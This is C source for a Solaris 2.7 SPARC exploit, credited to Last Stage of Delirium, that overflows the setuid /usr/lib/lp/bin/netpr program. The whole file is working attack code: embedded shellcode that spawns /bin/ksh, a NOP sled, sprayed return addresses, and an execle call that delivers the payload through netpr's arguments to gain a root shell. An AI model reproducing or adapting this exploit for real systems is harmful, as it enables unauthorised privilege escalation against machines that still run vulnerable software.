/*## copyright LAST STAGE OF DELIRIUM dec 1999 poland        *://lsd-pl.net/ #*/
/*## /usr/lib/lp/bin/netpr                                                   #*/

/*   requires to specify the address of a host with 515 port opened           */

#define NOPNUM 4000
#define ADRNUM 1200
#define ALLIGN 3

char shellcode[]=
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode-4>        */
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode>          */
    "\x7f\xff\xff\xff"     /* call    <shellcode+4>        */
    "\x90\x03\xe0\x20"     /* add     %o7,32,%o0           */
    "\x92\x02\x20\x10"     /* add     %o0,16,%o1           */
    "\xc0\x22\x20\x08"     /* st      %g0,[%o0+8]          */
    "\xd0\x22\x20\x10"     /* st      %o0,[%o0+16]         */
    "\xc0\x22\x20\x14"     /* st      %g0,[%o0+20]         */
    "\x82\x10\x20\x0b"     /* mov     0xb,%g1              */
    "\x91\xd0\x20\x08"     /* ta      8                    */
    "/bin/ksh"
;

char jump[]=
    "\x81\xc3\xe0\x08"     /* jmp     %o7+8                */
    "\x90\x10\x00\x0e"     /* mov     %sp,%o0              */
;

static char nop[]="\x80\x1c\x40\x11";

main(int argc,char **argv){
    char buffer[10000],adr[4],*b,*envp[2];
    int i;

    printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland  //lsd-pl.net/\n");
    printf("/usr/lib/lp/bin/netpr solaris 2.7 sparc\n\n");

    if(argc==1){
        printf("usage: %s lpserver\n",argv[0]);
        exit(-1);
    }

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+7124+2000;

    envp[0]=&buffer[0];
    envp[1]=0;

    b=&buffer[0];
    sprintf(b,"xxx=");
    b+=4;
    for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b++=0xff;
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    *b=0;

    b=&buffer[5000];
    for(i=0;i<ALLIGN;i++) *b++=0xff;
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    *b=0;

    execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],
        "-p",&buffer[5000],"/bin/sh",0,envp);
}  
/*                    www.hack.co.za           [4 August 2000]*/